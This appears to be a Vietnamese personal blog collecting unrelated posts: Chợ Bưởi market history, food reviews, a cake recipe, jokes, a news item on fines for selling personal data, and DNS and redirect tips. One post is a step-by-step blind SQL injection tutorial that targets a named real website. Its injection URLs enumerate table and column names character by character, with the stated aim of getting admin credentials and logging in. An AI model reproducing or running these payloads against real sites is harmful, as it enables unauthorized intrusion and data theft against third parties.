Trưởng Nguyễn 's Blog

Bấm vào hình để xem khổ lớn.

Chuẩn chưa nào !!!

Chợ Bưởi một tháng sáu phiên/ Ngày tư, ngày chín như duyên đèo bòng (Ca dao Hà Nội). Chợ Bưởi tọa lạc ngay ở ngã năm Bưởi. Cái ngã năm ấy chính là lợi điểm của nơi họp chợ... Phía 13 trại kéo sang, phía làng Na, Báo kéo xuống, phía Nhật Tân đổ về, phía Thủ Lệ tới, riêng phía Yên Thái Thụy Khuê thì được coi là dân bản địa, không nói làm gì.

Chợ Bưởi là một chợ to, có tiếng ở ven đô... Chợ là nơi trao đổi buôn bán có từ hàng trăm năm, là một chợ quê khá phong phú... Ngày trước, chợ Bưởi họp từ sáng tới tận một hai giờ chiều, những hàng quán cố định thì ngồi đến tận tối mịt.

Dạo chợ thì hàng thóc gạo, vải vóc, hàng khô, hàng rau cỏ, cá thịt, không nói làm gì! Nhưng đã nói đến chợ Bưởi là nói đến chợ của cây giống và con giống...CHỢ BƯỞI NGÀY XƯA....

Chợ Bưởi một tháng sáu phiên/ Ngày tư, ngày chín như duyên đèo bòng (Ca dao Hà Nội). Chợ Bưởi tọa lạc ngay ở ngã năm Bưởi. Cái ngã năm ấy chính là lợi điểm của nơi họp chợ... Phía 13 trại kéo sang, phía làng Na, Báo kéo xuống, phía Nhật Tân đổ về, phía Thủ Lệ tới, riêng phía Yên Thái Thụy Khuê thì được coi là dân bản địa, không nói làm gì.

Chợ Bưởi là một chợ to, có tiếng ở ven đô... Chợ là nơi trao đổi buôn bán có từ hàng trăm năm, là một chợ quê khá phong phú... Ngày trước, chợ Bưởi họp từ sáng tới tận một hai giờ chiều, những hàng quán cố định thì ngồi đến tận tối mịt.

Dạo chợ thì hàng thóc gạo, vải vóc, hàng khô, hàng rau cỏ, cá thịt, không nói làm gì! Nhưng đã nói đến chợ Bưởi là nói đến chợ của cây giống và con giống...

Dân nội đô thì đến để mua thỏ, mua chim, mua mèo, mua chó về để làm cảnh, thứ thì để nuôi, để giữ nhà... Riêng chích chòe với chim gáy xưa thì chợ Bưởi hơn đứt chợ Đồng Xuân, vì ở đây nhiều, tha hồ mà chọn... Đến những đám sáo đen, nếu khéo gọt lưỡi đi, dậy học nói, cũng phải tìm đến đây mà mua...

Dân trồng cây thì đến mua cây giống. Mùa nào thức ấy, nào bưởi, nào nhót, hoa giấy, nhài, mộc, ngâu..., thứ gì cũng có... Nhưng có lẽ từ xưa cây giống bưởi bán ở chợ Bưởi cũng nhiều. Trừ bưởi Diễn là thứ bưởi ngọt, không nói làm gì, chứ bưởi quanh vùng Hồ Tây, thì ở đâu, trồng ăn cũng ngon, thứ bưởi dôn dốt chua rất hợp với khẩu vị của các thiếu nữ Thủ đô, bưởi quả cũng khá to, da vàng tươi, thường cùng được dân trong vùng xưa, mua nhiều để bầy thờ và đi lễ tết.

Cũng cần nói thêm, hoa trái thời xưa hiếm, lễ tết có quả bưởi ngon, đẹp, đem đến nhà họ hàng thân thích, cũng quý lắm.

Tôi đã từng được ăn bưởi ở chính làng Bưởi, bưởi múi vừa phải đẹp, mịn, tôm ướt, ăn vào những lúc sau bữa cỗ để át các vị thịt cá, mỡ màng thật đắc vị...

Người làng Bưởi trước, mùa bưởi thứ tráng miệng chính là đĩa bưởi được bày theo mâm cỗ.

Có lẽ xưa, bưởi giống mấy làng Bưởi khá được dân trong vùng khá chuộng nên mới có câu ca dao dẫn làm đề từ ở trên... Chợ Bưởi một tháng sáu phiên. Ngày tư, ngày chín như duyên đèo bòng! Câu ca này vốn lưu ý mọi người đến chữ Bưởi và bòng... Bòng cũng là từ cũ để gọi bưởi. Quả bòng, nhiều làng xưa cũng để gọi quả bưởi... Chơi chữ được cả nghĩa đen lẫn nghĩa bóng.

Vì chợ cũng là nơi trai thanh, gái lịch gặp nhau nhất là những phiên chợ có hội làng hoặc xuân tết... Nhưng có lẽ ngoài ý nghĩa giao duyên, trữ tình, câu ca cũng muốn nhấn thứ đặc sản ở đây là cây giống bưởi và bưởi ngon của vùng Bưởi. Ngon là do bùn của Hồ Tây được xúc lên, phơi ải bón chăm cho cây Bưởi chăng? Lại còn một câu ca dao nữa cũng nhắc đến đặc điểm của chợ Bưởi:

Chợ Bưởi ngày chín tháng tư
Riêng một tháng tám lại dư phiên rằm!
Ai đi nhớ lấy kẻo nhầm
Đi mua hoa quả chơi rằm trung thu...

Như vậy là riêng tháng tám, chợ Bưởi có tới bẩy phiên, mà hai phiên là hai ngày 14 và ngày rằm lại liền nhau... Chợ ngày này đông không kém Tết nguyên Đán, bởi người nội đô, người ven thành thường kéo về mua hoa quả cho trẻ con bầy cỗ... Mà hoa quả cỗ trung thu ngày xưa không thể thiếu bưởi, vì bưởi cũng là thứ quả đầu mùa vào tháng tám mà hình thù cũng giống như ông trăng rằm vậy!

Nhà nào cũng có quả bưởi trong đám bánh trái, na, ổi để trẻ con phá cỗ..., để như muốn nói đám trẻ chân quê không những có ông trăng tròn đẹp nhất nằm ở trên trời, mà có cả ông trăng ở ngay mâm cỗ của đám trẻ làng hồn nhiên chất phác nữa.

Quà chợ Bưởi những ngày trung thu cũng ngon, nhất là thứ bún xáo chó... mua bán xong, rẽ vào làm chén rượu với bát bún này, hẳn cũng là thú thưởng thức của những người chân quê ven thành...

Chợ Bưởi còn bao nhiêu thứ khác nữa. Nào vải vóc lụa the, nào lợn gà, cá béo Hồ Tây, giấy viết cho các thầy đồ... Nhưng nhắc đến chợ Bưởi người xưa vẫn nhớ về các thứ cây giống, con giống, chẳng cần quảng cáo mà cũng đã thành thương hiệu lưu truyền.

Bây giờ chợ Bưởi đã mất tăm cái dáng chợ quê ven thành, vừa đông, vừa hấp dẫn như xưa... Chợ cũng đã xây nhà tầng, và không còn cần họp theo phiên nữa... Văn minh, gọn ghẽ, sạch đẹp hơn... Nhưng sao hình ảnh phiên chợ Bưởi xưa vẫn không sao xóa nổi.

Đủ các thể loại nộm chợ Thành Công. Trong hình là ở Khu ẩm thực Thành Công, đối diện trg Mầm non Thành Công A, bán từ 2h chiều - 7h tối. Mng thường ko chú ý đến cái tủ này, vì nó ở trong, ad chụp ảnh nên chụp gần í mờ :D

Ad thik ăn nhất là Nộm sứa :D. Nộm ở đây có giá từ 15 - 25k/đĩa.

BÁNH CHOCOLATE KO CẦN BỘT MỲ ♥

- 113gr bơ
- 170gr chocolate
- 3 quả trứng
- 65gr đường
- 4ml vani
- whipping cream
- dâu tây trang trí

Đun chảy bơ và chocolate, chỉ nên đun là lửa nhỏ thôi. Đánh bông trứng với đường và vani. Sau đó, bạn nhẹ nhàng đổ chocolate đã đun chảy vào và đảo đều hỗn hợp theo 1 chiều từ dưới lên trên.

Quét một lớp bơ mỏng lên khuôn. Cho hỗn hợp bánh vào ¾ khuôn
Nướng bánh ở 200 độ C trong khoảng 10-15’ phút tùy độ to nhỏ của khuôn. Để bánh nguội khoảng 5’ rồi mới được lấy ra khỏi khuôn.
Kem whipping cream đánh bông cứng, chờ bánh nguội rồi trét lên bánh. Có thể dùng thêm chocolate bào mỏng để rắc lên trên và dùng dâu tây để trang trí.

ps: cái ảnh là bánh của mình trét kem lúc bánh chưa nguội lắm nên kem bị nhoét :( đành phải rắc chocolate lên "đậy điệm" cái sự choe choét lại :)) khi cắt bánh cái phần chocolate ở trong sẽ chảy ra, ăn béo ngậy và rất thơm. Nếu muốn phần này cứng lại thì tăng thời gian nướng bánh lên.

Hí hí, kem chanh bạc hà Thủy Tạ nè.
Kem chanh mát lạnh, vừa rẻ vừa ngon. 5.500đ/chiếc mại zô mại zooooooo!!!!!!!

Giờ lên hồ, mình hay ăn kem cửa sổ Thủy Tạ thui. ko ăn Tràng tiền nữa. TT vừa chán vừa đông vừa đắt, phục vụ thì khó tính như ma >"""""""""<

Kem Thủy Tạ có ốc quế ngon nữa, 12k :))))

1 món ăn ko thể bỏ qua tại Bangkok - Thailand :")
nhà hàng này nằm bên cạnh đường đi vào của chợ đêm Suan Lum Night Bazaar các bạn nhé!

buffet lẩu nướng ♥
đã là buffet thì gì cũng có :D thịt bò, thịt gà, thịt lợn, gan gà, chân gà rút xương, tôm, blah blah... nhiều kinh khủng :D ăn gì thì lấy cái đó. Mà đặc biệt là rất rẻ! Nhà mình ăn 4 người, gọi thêm 1 chai coca (chai bên đó bự lắm ko bé như ở nhà mình, nó to gấp đôi chai ở VN, thêm 2-3 chai bia SingHa nữa) tổng thiệt hại hết 400k :D buffet mà mỗi ng hết 100k là quá rẻ các bạn nhỉ ^^
(ảnh chụp tại Bangkok, tháng 8-2011)

Tựa vào vai anh :))

Hàng loạt số điện thoại, địa chỉ nhà, email... của giám đốc, quản lý cấp cao ngành ngân hàng, bảo hiểm, du lịch v.v... đã bị mang bán trên mạng. Sở TTTT TP.HCM vừa tiến hành xử phạt hành chính một cá nhân rao bán trái phép...

Các mức xử phạt hành chính

Sở TTTT TP.HCM vừa tiến hành xử phạt hành chính Dương Hồng Lễ, chủ website: www.danhsachkhachhang.com và www.duonghongle.com do có các hành vi rao bán thông tin trái phép. Sau quá trình xem xét và điều tra, Sở TTTT TP.HCM cho biết hành vi của đối tượng chưa đến mức nguy hiểm cao và đối tượng đã nhanh chóng khai báo nên phạt hành chính ở mức 3,5 triệu đồng. 2 đối tượng còn lại là Lê Minh Trung (chủ trang web www.timkhachhang.com) và Hứa Văn Tuấn, chủ trang web www.datavip24h.com đang trong quá trình kiểm tra và xem xét hồ sơ.

Trao đổi với Tạp chí Thế Giới Vi Tính - PC World Vietnam, Ông Nguyễn Đức Thọ, Phó Chánh thanh tra, Sở TTTT TP.HCM cho biết thêm về các mức xử phạt như sau: Hành vi rao bán thông tin cá nhân có 2 hình thức xử phạt hành chính. Thứ nhất, nếu như doanh nghiệp viễn thông cung cấp dịch vụ cho người sử dụng mà đem thông tin người sử dụng đó ra tiết lộ cho người khác bất kể vì lý do gì hoặc sửa thông tin thì mức độ phạt từ 30 – 50 triệu đồng. Xử phạt này được quy định cụ thể tại khoản 2 Điều 39 Nghị định số 83/2011/NĐ-CP ngày 20/9/2011 của Chính phủ quy định xử phạt vi phạm hành chính trong lĩnh vực viễn thông.

Thứ hai, đối với cá nhân, thu thập thông tin của người khác từ nhiều nguồn thông tin khác nhau (từ bạn bè, từ danh sách kinh doanh buôn bán, danh sách đăng ký mua xe v.v…) đem bán cho người khác thì mức xử phạt từ 2 – 5 triệu đồng.

Truy cứu trách nhiệm hình sự theo mức độ

Tuy nhiên, cả 2 hình thức xử phạt trên còn tùy thuộc vào hành vi và mức độ vi phạm, có thể vừa xử phạt hành chính vừa truy cứu trách nhiệm hình sự. Trong khoản 1, Điều 226 Bộ luật hình sự năm 1999 (đã được sửa đổi, bổ sung năm 2009) quy định về tội “Đưa hoặc sử dụng trái phép thông tin mạng máy tính, mạng viễn thông, mạng Internet” như sau: Người nào thực hiện một trong các hành vi sau đây xâm phạm lợi ích của cơ quan, tổ chức, cá nhân, xâm phạm trật tự, an toàn xã hội gây hậu quả nghiêm trọng, thì bị phạt tiền từ 10 -100 triệu đồng, cải tạo không giam giữ đến 3 năm hoặc bị phạt tù từ 6 tháng đến 3 năm.

Nếu phạm tội có tổ chức; Lợi dụng quyền quản trị mạng máy tính, mạng viễn thông, mạng Internet; Thu lợi bất chính từ một trăm triệu đồng trở lên; thì bị phạt tù từ hai năm đến bảy năm.

Trong Điều 226a quy định tội truy cập bất hợp pháp vào mạng máy tính, mạng viễn thông, mạng Internet hoặc thiết bị số của người khác có tổ chức, lợi dụng chức vụ, quyền hạn; Thu lợi bất chính lớn; Gây hậu quả nghiêm trọng; Tái phạm nguy hiểm bị phạt tù từ 3 - 7 năm.

Tiết lộ hệ thống dữ liệu thuộc bí mật nhà nước; hệ thống thông tin phục vụ an ninh, quốc phòng; Đối với cơ sở hạ tầng thông tin quốc gia; hệ thống thông tin điều hành lưới điện quốc gia; hệ thống thông tin tài chính, ngân hàng; hệ thống thông tin điều khiển giao thông; Thu lợi bất chính rất lớn hoặc đặc biệt lớn; Gây hậu quả rất nghiêm trọng hoặc đặc biệt nghiêm trọng bị phạt tù từ 5 đến 12 năm. Người phạm tội còn có thể bị phạt tiền từ 5 triệu đồng đến 50 triệu đồng, cấm đảm nhiệm chức vụ, cấm hành nghề hoặc làm công việc nhất định từ 1 - 5 năm.

Điều 226b. Tội sử dụng mạng máy tính, mạng viễn thông, mạng Internet hoặc thiết bị số thực hiện hành vi chiếm đoạt tài sản có thể bị phạt tiền từ 10 - 100 triệu đồng hoặc phạt tù từ 1 - 5 năm.

Nghiêm trọng hơn, đối tượng phạm tội chiếm đoạt tài sản có giá trị từ 200 - 500 triệu đồng; Gây hậu quả rất nghiêm trọng bị phạt tù từ 7 - 15 năm. Còn nếu, chiếm đoạt tài sản có giá trị từ 500 triệu đồng trở lên; Gây hậu quả đặc biệt nghiêm trọng sẽ bị phạt tù từ 10 năm đến 20 năm hoặc chung thân.

Theo PCWorld

Mặc định, Facebook không cho phép người dùng chèn hình nào vào khung chat (ngoại trừ các biểu tượng cảm xúc). Tuy nhiên, bạn hoàn toàn có thể thực hiện điều đó một cách dễ dàng nhờ sự trợ giúp của Smileyti.

Điểm đặc biệt ở Smileyti là máy tính của người chat với bạn không cần cài đặt thêm bất kỳ ứng dụng nào mà vẫn có thể nhìn thấy hình ảnh hiển thị trên khung chat của Facebook.

Bước 1: Truy cập địa chỉ http://smileyti.me, nhấn nút Browse để duyệt đến file ảnh muốn gửi.

Bước 2: Gõ mã xác nhận vào khung Type the two words, sau đó nhấn nút Upload now.

Bước 3: Sau vài giây chờ đợi, chương trình sẽ cung cấp cho bạn một đoạn mã, bạn chỉ việc bôi đen và nhấn Ctrl+C hoặc nhấn nút Copy To Clipboard.

Bước 4: Mở khung chat trên Facebook, nhấn Ctrl+V để dán đoạn mã vào khung soạn thảo, nhấn Enter, bạn sẽ thấy ảnh xuất hiện trên khung chat và bạn của bạn cũng sẽ thấy hình ảnh đó.

Tham khảo: Smileyti

Ấy sẽ là "người cầm đầu" như thế nào nhỉ?

Để xem các vị đại ca này sẽ giải quyết vấn đề ra sao nhé!

Để xem nhóm máu nào thì hợp với AB nhất nhá!

---------------6 BÀI HỌC XƯƠNG MÁU------------------

--- Bài học 1 -

Ông chồng đi tắm sau khi vợ vừa mới tắm xong, đúng lúc chuông cửa reo.

Vợ vội quấn khăn tắm vào và chạy xuống mở cửa. Cửa mở thì ra là ông hàng xóm Bob. Chị vợ chưa kịp nói gì thì Bob bảo:

- Tôi sẽ cho chị 800 đô nếu chị buông cái khăn tắm kia ra .

Suy nghĩ 1 chút rồi chị vợ buông khăn tắm, đứng trần truồng trước mặt Bob. Sau vài giây ngắm nghía, Bob đưa 800 đô cho chị vợ rồi đi. Chị vợ quấn lại khăn tắm vào người rồi đi lên nhà.

Vào đến phòng tắm, chồng hỏi: Ai đấy em?

- Vợ: ông Bob hàng xóm.

- Chồng: Tốt. thế hắn có nói gì đến số tiền 800 đô hắn nợ anh không?

--> Bài học xương máu: Nếu anh trao đổi thông tin tín dụng với cổ đông của mình kịp thời thì anh đã có thể ngăn được sự “phơi bày”.

----------

- Bài học 2 -

1 nhân viên bán hàng, 1 thư ký hành chính và 1 Sếp quản lý cùng đi ăn trưa với nhau, họ bắt được 1 cây đèn dầu cổ. Họ xoa tay vào đèn và thần đèn hiện lên. Thần đèn bảo: “ta cho các con mỗi đứa 1 điều ước”.

-Tôi trước! tôi trước! – thư ký hành chính nhanh nhảu nói: tôi muốn được ở Bahamas lái canô và quên hết sự đời. Puff. Cô thư ký biến mất.

Tôi! Tôi! anh nhân viên bán hàng nói: tôi muốn ở Hawaii nằm dài trên bãi biển có nhân viên massage riêng, nguồn cung cấp Pina Coladas vô tận và với người tình trăm năm. Puff. anh nhân viên bán hàng biến mất.

Ok tới lượt anh. Thần đèn nói với ông quản lý. Ông quản lý nói: tôi muốn 2 đứa đấy có mặt ở Văn phòng làm việc ngay sau bữa trưa.

--> Bài học xương máu: luôn luôn để Sếp phát biểu trước.

---------------

--- Bài học 3 -

Một tu-sĩ nam ngỏ ý mời tu-sĩ nữ đi chung xe. Người nữ chui vào xe, ngồi bắt chéo chân để lộ 1 bên bắp chân. Người nam suýt nữa thì gây tai nạn. Sau khi điều chỉnh lại tay lái, người nam thò tay mò mẫm lên đùi người nữ. Nữ kêu: “Xin ngài, hãy nhớ điều răn 129″. Nam liền bỏ tay ra. Nhưng sau khi vào số, nam lại tiếp tục sờ soạng chân nữ. Một lần nữa nữ kêu: “Xin ngài, hãy nhớ điều răn 129″. Nam thẹn quá: “xin lỗi nữ, tôi trần tục quá”. Tới nơi, nữ thở dài và bỏ đi. Vừa tới nhà tu, nam vội chạy vào thư viện tra cứu ngay cái điều răn 129 ấy, thấy đề: "Hãy tiến lên, tìm kiếm, xa hơn nữa, con sẽ tìm thấy hào quang."

--> Bài học xương máu: Nếu anh không nắm rõ thông tin trong công việc của mình anh sẽ bỏ lỡ 1 cơ hội lớn.

--------------

--- Bài học 4 -

Một con gà tây trò chuyện với một con bò. “Tớ muốn mình có thể trèo tới trên ngọn cây kia,” nó thở dài than, “nhưng tớ chẳng đủ sức.” “Sao cậu không nhấm nháp chút đồ phế thải của tớ?” Con bò đáp, “Bổ lắm đó.” Con gà tây đớp vào đống phân bò và thực sự có được sức mạnh để trèo được lên một cành cây thấp nhất.Ngày hôm sau, sau khi đớp thêm một mớ phân bò nữa, con gà tây leo lên được cành thứ hai. Cuối cùng, sau bốn hôm đớp phân bò như thế, con gà tây hãnh diện trèo được lên đậu trên ngọn cây.Tức thì nó bị một nông dân trông thấy, và ông ta bắn nó rơi khỏi ngọn cây.

--> Bài học xương máu: Xạo sự,dối trá có thể đưa anh lên đỉnh cao,nhưng không giúp anh bám trụ được lâu dài.

--------------

--- Bài học 5 -

Con chim nhỏ bay về phương Nam tránh rét.Trới lạnh quá con chim bị đông cứng lại và rơi xuống một cánh đồng lớn.Trong lúc nó nắm đấy một con bò đi qua ị vào người nó.Con chim nằm giữa đống phân bò nhận ra rằng người nó đang ấm dần.Đống phân ấy ủ ấm cho nó.Nó nằm đấy thấy ấm áp và hạnh phúc,nó bắt đầu cất tiếng hót yêu đời.Con mèo đi ngang nghe tiếng chim hót liền tới thám thính.Lần theo âm thanh con mèo phát hiện ra con chim nằm dưới đống phân,nó liền bới con chim ra ăn thịt.

--> Bài học xương máu:

1. Người ị vào mình chưa hẳn là kẻ thù của mình
2. Người kéo mình ra khỏi đống đống phân chưa hẳn là bạn mình
3. Và khi đang ngập ngụa trong đống phân thì tốt nhất là ngậm cái mồm lại.

------------

- Bài học 6 -

1 con đại bàng đang đậu trên cây nghỉ ngơi,chẳng làm gì cả. 1 con thỏ con nhìn thấy thế hỏi: Tôi có thể ngồi không và chẳng làm gì như anh được không? Đại bàng trả lời: được chứ, sao không. Thế là con thỏ ngồi xuống nghỉ ngơi. Bỗng dưng 1 con cáo xuất hiện, vồ lấy ăn thịt con thỏ.

--> Bài học xương máu:

Để được ngồi không chẳng làm gì anh phải ngồi ở trên cao, cao thật là cao.

Đầu tiên:
Bước 1:
Nếu các bạn DNS namesever
NS1: ns1.4be.vn
NS1 IP: 112.78.15.3
NS2: ns2.4be.vn
NS2 IP: 112.78.15.3
Thì không cần làm gì nữa tới bước 2

Bạn nào DNS trung gian qua everydns hay gì đó thì DNS từng sub domain về IP 112.78.15.3(cái này mình không nói nữa...)
Bước 2:

VD: forum or home

Bước 3:

Các bạn chọn Site Redirection

Tiếp đó

- Dòng đầu bạn điền folder như tên subdomain
VD: forum.thegioiteenviet.org thì điền ngay đó là /forum
- Dòng 2: bạn chọn 301 Permanent <=== cái này nha các bạn.
- Dòng 3: Điền cái subdoamin vô thôi như VD trên http://forum.thegioiteenviet.org

Bước 4: Khi bạn tạo subdomain ở bước 2 thì nó tự tạo cho bạn trong thư mục public_html của bạn những folder của subdomain sẵn rồi,
Sau đó các bạn up đè lên thay cái folder đó(có thể xóa,úp lên với cái tên như thế),nhớ là không phải úp trong folder đó.

Bước 5: F5 và xem kết quả
Một điều quan trong nữa khi bạn tạo subdomain thì trong public_html có file .htaccess với nội dung:

Redirect 301 /home http://sub.domaincuaban.com
Redirect 301 /forum http://sub.domaincuaban.com

Giờ bạn muốn nó tự chuyển trang khi vào domain sang sub.domain thì thêm cái này

RewriteEngine on

RewriteCond %{HTTP_HOST} ^domaincuaban.com$ [OR]
RewriteCond %{HTTP_HOST} ^www.domaincuaban.com$
RewriteRule ^(.*)$ "http\:\/\/sub.domaincuaban\.com$1" [R=301,L]

Khi vào domain nó tự chuyển sang sub

Như làm bài thi trắc nghiệm vậy các ấy ạ!

Hướng dẫn tấn công website P2

Chào các bạn.Hôm trước đã hướng dẫn các bạn tấn công qua lỗi Inband Sql injection(http://www.blog.kenjivn.net/2012/06/huong-dan-tan-cong-website-p1.html). Hôm nay mình sẽ hướng dẫn các bạn tấn công thông qua lỗi Blind Sql injection.

Điểu kiện đọc bài viết này
+ Đã đọc kỹ bài viết tấn công website P1 của mình và hiểu vì sao mình lại thực hiện những câu truy vấn như thế.
+ Đã thank vào bài viết tấn công website P1 của mình
Cách khai thác này khá là lâu,vì thế đòi hỏi bạn phải kiên trì đọc và hiểu từ đầu đến cuối
Phần 1:Lý thuyết
SQL Injection là phương thức khai thác dựa vào quá trình trao đổi dữ liệu giữa người dùng và Web Application. Việc ứng dụng không kiểm tra các giá trị đầu vào đẫn đến attacker có thể cho thực thi các SQL query không mong muốn can thiệp vào database làm thay đổi, thêm, xem hay xóa các dữ liệu.

Hacker thường khai thác bằng các gửi các giá trị đầu vào để server sinh các thông tin lỗi để từ đó tùy biến theo câu truy vấn gốc của người thiết kế.

Nếu Web Application được customize các trang lỗi hay các trang lỗi không trả về, phải làm thế nào? Hãy thử khai thác với phương thức: blind sql injection.

Sự khác nhau giữa cơ bản giữa Inband và Blind
InBand:Hiện số column lỗi ra,ta có thể khai thác dễ dàng.
Blind :Không hiện số column lỗi.
Lấy ví dụ câu truy vấn dạng Blind thế này
Câu truy vấn 1.
Trích:

Mã:

Select content
From news 
Where new_id=$_get[‘id’] and 1=1

Câu truy vấn 2.
Trích:

Mã:

Select content ,comment
From news
Where news_id=$_get[‘id’]

Dữ liệu ta gửi cho biến id,sẽ được chèn vào cả 2 câu truy vấn,ta không thể xác định được số lượng column phù hợp khi dùng union
Đầu tiền mình giới thiệu các hàm hữu ích khi khai thác thông qua lỗi Blind sql injection.
Trích:
[CODE]convert(int,(function/query)):Convert giá trị của câu query phía sau ra kiểu int
substring(string,vị trí,số lương):Hàm cắt chuỗi
Ví dụ substring('mình',1,2) :Nghĩa là từ vị trí số 1 lấy 2 giá trị.Kết quả là kt
ascii():Kết quả trả về là giá trị mã ascii

Mã:

Ví dụ:ascii(A) kết quả là 65
limit(query,x,y) :Tương tự substring()

Phần 2.Thực hành (Chắc ai cũng khoái phần này)
Victim:http://www.julianfantino.ca (Cái này có đứa trong xgroup hỏi mà mấy đứa reply thì cứ xài tool)có đứa đưa query thì dấu cha cái link.Thôi thì mình hướng dẫn vậy.( http://www.xgroup.vn/XgR/showthread.php?t=9765 )
Bước 1 Kiểm tra lỗi
Mã:

Mã:

http://www.julianfantino.ca/EN/6221/114162?tpid=3920'

Kết quả

Thử xem nó thực hiện câu truy vấn không.
Mã:

Mã:

http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and 1=0

=>Kết quả trả về rỗng
Mã:
[HTML]

Mã:

http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and 1=1

=>Kết quả trả về khác rỗng
Vậy là nó thực hiện câu truy vấn đăng sau rồi nhé
Bước 2: Kiểm tra version của nó
Mã:

Mã:

http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and substring(version(),1,1)=5

=>Kết quả trả về bình thường.
Mã:

Mã:

http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and substring(version(),1,1)>5

=>Kết quả trả về rỗng
Vậy kết luận version của nó là 5. mấy đó.Nói chung là lớn hơn 4 là ok rồi.vì có thể lấy được thông tin table từ database hệ thông information_schema.
Đên đây mình dừng việc kiểm tra lại.Bạn nào muốn biết 5.0 mấy thi dùng tiếp câu truy vấn
Mã:

Mã:

http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and substring(version(),2,1)=0 --

Tương tự cho ký tự tiếp theo
Bước 3. Lấy table_name từ table tables trong data hệ thống information_schema
Đầu tiên ta lấy ký tự đầu tiên của table đầu tiên.Câu truy vấn khá dễ hiểu vì mình đã giải thích các hàm ở trên hết rồi.
Trích:

Mã:

http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and ASCII(SUBSTRING((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>64 --

=>Kết quả trả về bình thường

Trích:

Mã:

http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and ASCII(SUBSTRING((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>65 --

=>Kết quả trả về rỗng.Vậy ký tự đầu tiên là trong bảng mã Ascii có giá trị bằng 65=>Chữ A.
Lấy ký tự thứ 2 của table đầu tiên
Trích:

Mã:

http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and ASCII(SUBSTRING((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))>99 --

=>Kết quả trả về bình thường
Trích:

Mã:

http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and ASCII(SUBSTRING((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))>100 --

=>Kết quả trả về khác thường.Vậy ký tự thứ 2 của table đầu tiền có giá trị trong bảng mã ascii là =100 ->chữ d thường.table đầu tiên có 2 chữ Ad......(rồi nhé)
Làm tương tự các bạn sẽ được các ký tự khác của table đầu tiên.và ra table đầu tiên có giá trị là AddressTypes

Tương tự để tìm table thứ 2,các bạn chỉ việc thay limit 1,1 thành limit 2,1
Giá trị các table sau khi lấy là LanguageCategoryRe ,JSLibrary,JSConfigDomains ,JSConfig ,INTERFACE_ELEMENTS ,GroupOwnershipPermissions ,GeoSearchRegions ,GeoSearchPostalCodes ,GeoSearchDistrictsToPostalCodes,GeoSearchDistrict s,GeoSearchContacts,GeoSearchContactTypes,FILE_CAT EGORIES,FILES,DomainLibraryIncludes,DomainLanguage s,DefaultSequence_seq,Countries,ContentArticleLink s,ContentArticleGroups,Component,CompMailouts,Cate goryType,Category,CategoriesToArticles,CanadaPostA ddresses,AuxillaryGroupLookup,ArticleSequence_seq ,Addresses,AddressTypes,ARTICLE_MODULES

Bước 4.Lấy column từ những table đã khai thác được
Lấy ký tự đầu tiên của column đầu tiên trong table AddressTypes
Trích:

Mã:

http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and ascii(substring((select column_name from information_schema.columns where table_name='AddressTypes' limit 1,1),1,1))>77 --

=>Kết quả trả về bình thường
Trích:

Mã:

http://www.julianfantino.ca/EN/6221/114162?tpid=3920

Trích:

Mã:

and ascii(substring((select column_name from information_schema.columns where table_name='AddressTypes' limit 1,1),1,1))>78 --

=>Khác thường(rỗng)
Vậy ký tự đầu tiền có giá trị trong ascii là 78 là N
.....
Làm tương tự ta được column đầu tiên là Name
Tiếp tục thay limit 2,1 để lấy column thứ 2,ta được column thứ 2 có tên là Id

Sau đó tiếp tục khai thác column của những table khác nhé.Cố gắng lên

Bước 5.Lấy giá trị từ những column khai thác.(Đến đây tớ đuối quá rồi,table mình khác ko có mới đau chứ )
Cách lấy:

Trích:

Mã:

http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and ascii(substring((select gia tri colum from gia tri table limit 1,1),1,1))=0 --

Sau khi có user và password tìm link admin đăng nhập thôi.Các bạn thấy khổ không?Hack là khổ mà.

Cách khai thác này đòi hỏi các bạn phải kiên trì,mà thường gặp loại này thì xài tools,khi nào xài tools không được thì mới query bằng tay Những tool thì các bạn không hiểu bản chất

Chú ý:Trên đây là cách khai thác thông thường từ thời xa xưa,hiện nay có 1 cách mới nhanh hơn,show ra table luôn đó cách này thấy havij chưa hỗ trợ,havij xài cách get từng ký tự)=>Cách này mình sẽ hướng dẫn cho các bạn ở P3.

Đầu tiên bạn vào trang web:

Http://FreeDNS.Ws

Đăng kí 1 tài khoản. Chú ý: Một số bạn nào xài Gmail thường thì nó quẳng cái mail về vào thùng Spam đấy nên không thấy được Cười nhe răng

, lúc đó hãy chọn thùng spam để xem nhé hehe

Tiếp tục tạo thêm một tên miền .tk ở

Http://dot.tk

Khi tạo xong Config như sau

Enlarge this image

Vào FreeDNS để làm tiếp chọn Add New Zone

Enlarge this image

Chọn xong bạn config như thế này:

Enlarge this image

và

Enlarge this image

Chờ 30 - 60 phút và làm tiếp công việc đơn giản Cười nhe răng

À quên, để kiểm tra trước khi add tên miền bạn truy cập tên miền đó và xem nó có hiện bảng scan của Forumotion không, nếu có thì add luôn nhé Nháy mằt

Enlarge this image

Cách bỏ chặn Blogspot (Bloger) của VNPT tháng 6-2012

Vào ngày 9-6-2012 vừa qua, hàng loạt webmaster và blogger sử dụng dịch vụ blogspot nhận thấy sự giảm traffic một cách đột ngột và sau đó là hàng loạt tin blogspot lại bị VNPT tiếp tục chặn. Lần này không phải là đuôi blogspot.com như trc nửa vì ngay cả các Domain riêng củng chịu cảnh tương tự. Các blog của mình cũng chịu chung số phận. Hic.

Sau một vài tìm hiểu trên google mình đã khắc phục được và viết bài này ngay, mong mọi nguời có thể giải quyết nhanh và giữ lại traffic của chúng ta như ban đầu:

